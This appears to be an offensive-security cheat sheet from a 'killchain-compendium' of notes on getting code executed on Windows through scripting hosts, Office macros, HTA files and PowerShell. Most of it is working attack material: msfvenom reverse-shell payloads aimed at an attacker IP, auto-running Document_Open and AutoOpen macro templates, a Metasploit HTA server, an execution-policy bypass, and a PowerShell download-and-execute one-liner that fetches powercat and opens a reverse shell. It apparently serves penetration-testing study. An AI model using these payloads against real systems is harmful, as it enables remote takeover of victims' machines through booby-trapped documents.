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killchain-compendium/Exploits/Windows/Windows Scripting Host.md

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Windows Scripting Host (WSH)

Visual Basic Script (VB Script)

  • cscript file.exe, command line scripts

  • wscript file.exe, UI scripts

  • Example (watch out for the whitespace after path, it has to be included)

Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\cmd.exe " & WScript.ScriptFullName),0,True

c:\Windows\System32>wscript /e:VBScript c:\Users\user\Documents\shell.txt

Visual Basic for Application (VBA)

  • Access Windows API via Macros
  • Open Word, view --> macros, give a name and select document in Macros in
  • Create reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$ATTACKER_IP LPORT=4448 -f vba
  • Insert into the following Macro Content, Workbook_Open() for excel, Document_Open() for Word macros
Sub Document_Open()
  SHELL
End Sub

Sub AutoOpen()
  SHELL
End Sub

Sub SHELL()
    <reverse shell goes here>   
End Sub

HTML Application (HTA)

  • HTML file including some kind of scripting language like JS, VB, ActiveX
  • mshta is used to excecute

POC

  • Download file via attacker's web server
  • File should look like
<html>
  <body>
    <script>
	    var shell= 'cmd.exe'
	    new ActiveXObject('WScript.Shell').Run(shell);
    </script>
 </body>
</html>
  • Save Document in a macros supporting file format like Word 97-2003 Template and Word 97-2003 Document

Reverse Shell

  • Craft reverse shell via msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4448 -f hta-psh -o shell.hta
  • msfconsole via
use exploit/windows/misc/hta_server

Powershell

  • Powershell execution policy can be checked via
Get-ExecutionPolicy
  • Set policy via
Set-ExecutionPolicy -Scope CurrentUser RemoteSigned
  • Bypass via
powershell -ex bypass -File shell.ps1
  • Load powercat on attacker machine and load it on the target via
C:\Users\thm\Desktop> powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<attacker-IP>:8000/powercat.ps1');powercat -c <attacker-IP> -p 4448 -e cmd"
  • Or use msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker-IP> LPORT=4447 -f psh -o payload.ps1